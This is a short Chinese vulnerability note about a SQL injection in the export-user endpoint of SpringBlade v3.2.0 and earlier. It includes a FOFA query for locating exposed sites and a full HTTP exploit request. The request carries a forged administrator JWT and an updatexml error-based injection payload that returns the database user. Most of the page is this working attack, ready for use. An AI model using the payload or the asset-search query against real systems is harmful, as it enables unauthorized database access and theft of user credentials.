S16-1SpringBlade-SpringCloud分布式微服务架构-SQL

漏洞描述：

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞，攻击者利用该漏洞可通过组件customSqlSegment 进行SQL注入攻击，攻击者可将用户名、密码等敏感信息通过 excel 导出。

网站图片:

网络测绘:

fofa语法：

FOFA：body=“https://bladex.vip”

漏洞复现:

payload：

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

效果图:
查询当前用户